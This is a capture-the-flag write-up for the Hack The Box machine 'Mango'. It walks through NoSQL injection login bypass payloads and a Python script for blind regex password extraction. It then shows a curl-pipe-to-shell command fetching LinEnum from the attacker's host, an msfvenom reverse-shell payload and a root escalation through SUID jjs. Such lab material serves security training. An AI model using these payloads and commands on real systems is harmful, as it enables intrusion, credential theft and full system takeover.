Mango - Hack The Box
Mango was a medium box with a NoSQSL injection in the login page that allows us to retrieve the username and password. The credentials we retrieve through the injection can be used to SSH to the box. For privilege escalation, the jjs tool has the SUID bit set so we can run scripts as root.
Summary
- There’s an authentication page using MangoDB that is vulnerable to NoSQL injection
- We can extract the username and passwords for two accounts:
mango
andadmin
- Using the recovered password, we can SSH as
mango
then su toadmin
- The jjs java utility is installed and is SUID root so we can execute anything as root
Portscan
root@kali:~/htb# nmap -T4 -p- 10.10.10.162
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-27 21:47 EDT
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.040s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Recon - HTTP
Using the IP address I get a Forbidden error message when I try to access the site on port 80.
I tried using mango.htb
but I get the same error message.
Nothing shows up when fuzzing files and directories:
root@kali:~/htb# rustbuster dir -w /opt/SecLists/Discovery/Web-Content/big.txt -e php -u http://mango.htb --no-banner -S 400,401,403,404
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~
[?] Started at : 2019-10-27 20:47:41
[00:02:45] ######################################## 40908/40908 ETA: 00:00:00 req/s: 24
Recon - HTTPS
The page on port 443 is different: It looks like a Google page but anytime I try to search for something I get Search Results: 0 results found
There’s an analytics page that shows some kind of javascript application and there’s an error message about an invalid license.
As far as I can see this is a local application and nothing I do gets sent to the server. It’s probably safe to skip that one for now.
Nothing else shows up when fuzzing files and directories:
root@kali:~/htb# rustbuster dir -w /opt/SecLists/Discovery/Web-Content/big.txt -e php -k -u https://mango.htb --no-banner -S 400,401,403,404
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~
[?] Started at : 2019-10-27 20:47:52
GET 200 OK https://mango.htb/analytics.php
GET 200 OK https://mango.htb/index.php
[00:02:42] ######################################## 40908/40908 ETA: 00:00:00 req/s: 252
Fuzzing vhosts to find the staging site
I found the staging-order.mango.htb
site by fuzzing the vhosts.
root@kali:~# ffuf -w ~/tools/SecLists/Discovery/DNS/dns-Jhaddix.txt -H "Host: FUZZ.mango.htb" -fc 400,403 -u http://10.10.10.162
[...]
staging-order [Status: 200, Size: 4022, Words: 447, Lines: 210]
There’s a login page with a non-functional Forgot Password button.
NoSQL injection on the login page
I ran SQLmap and looked for SQL injections on the login page but couldn’t find any. I also tried a bunch of simple user/passwords combos in case it’s something really simple. Before going to bruteforce I thought I’d try some MangoDB injection since the name of the box looks like a hint.
I’ll use the NoSQL injection page from PayloadsAllTheThings as a reference to try a few payloads.
With username[$ne]=bob&password[$ne]=invalid&login=login
I can set a negative comparison on the username and password and I notice that I get a 302 HTTP return code instead of a 200 like when I try invalid credentials. I’ve successfully bypassed the authentication page but the home.php
I get redirected to doesn’t have anything on it.
I’ll go back to the NoSQL injection and try to extract the usernames and passwords from the database. First, I’ll find the username by using the [$regex]
operator so I can provide a regex inside of the username parameter.
I already guessed that admin
is a valid username so I don’t even need the regex for that one. The following evaluates to TRUE (returns a 302):
username[$regex]=^admin$&password[$ne]=invalid&login=login
Next, I’ll try each letter of the alphabet like this:
username[$regex]=^b.*$&password[$ne]=invalid&login=login
I find a username starting with letter m with:
username[$regex]=^m.*$&password[$ne]=invalid&login=login
So now I just need to guess each letter like:
username[$regex]=^m.*$&password[$ne]=invalid&login=login
username[$regex]=^ma.*$&password[$ne]=invalid&login=login
username[$regex]=^man.*$&password[$ne]=invalid&login=login
username[$regex]=^mang.*$&password[$ne]=invalid&login=login
username[$regex]=^mango.*$&password[$ne]=invalid&login=login
So I have mango
and admin
as valid usernames. Now it’s time to tackle the passwords for each account. I can find the password length by using something like this:
Admin (12 characters): username=admin&password[$regex]=^.{12}$&login=login
Mango (16 characters): username=mango&password[$regex]=^.{16}$&login=login
For the password, I can just the same technique manually or write a simple script like the following to automate the process:
#!/usr/bin/env python3
import re
import requests
import string
chars = string.ascii_letters + string.digits + string.punctuation
print(f"Charset {chars}")
url = "http://staging-order.mango.htb/"
p = ""
while True:
print(p)
for x in chars:
data = {
"username": "admin",
"password[$regex]": f"^{re.escape(p+x)}.*$",
"login": "login"
}
r = requests.post(url, data=data, proxies={"http":"127.0.0.1:8080"}, allow_redirects=False)
if r.status_code == 302:
p += x
break
root@kali:~/htb/mango# ./mango.py
Charset abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
t
t9
t9K
t9Kc
t9KcS
t9KcS3
t9KcS3>
t9KcS3>!
t9KcS3>!0
t9KcS3>!0B
t9KcS3>!0B#
t9KcS3>!0B#2
t9KcS3>!0B#2
I just replace admin
by mango
and run it again. I got the following passwords now:
admin: t9KcS3>!0B#2
mango: h3mXK8RhU~f{]f5H
Getting a shell as user admin
I can SSH to the machine and su to admin
since I also have the password for that user:
Privesc using jjs
With LinEnum.sh I see there’s a SUID file for jjs
:
admin@mango:/home/admin$ curl 10.10.14.11/LinEnum.sh | sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 46108 100 46108 0 0 229k 0 --:--:-- --:--:-- --:--:-- 228k
-e
#########################################################
-e # Local Linux Enumeration & Privilege Escalation Script #
-e #########################################################
-e # www.rebootuser.com
-e # version 0.98
[...]
-e [+] Possibly interesting SUID files:
-rwsr-sr-- 1 root admin 10352 Jul 18 18:21 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-e
A quick search on GTFObins shows that we can execute commands with jjs
.
I can quickly get the root flag with:
Or get a proper shell by generating a meterpreter shell with the PrependSetuid
option:
root@kali:~/htb/mango# msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o met LHOST=10.10.14.11 LPORT=4444 PrependSetuid=true
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 146 bytes
Final size of elf file: 266 bytes
Saved as: met
Or, a faster way to get a root shell is to make bash SUID:
admin@mango:/home/admin$ jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod u+s /bin/bash').waitFor()
0
jjs>
admin@mango:/home/admin$ /bin/bash -p
bash-4.4# id
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)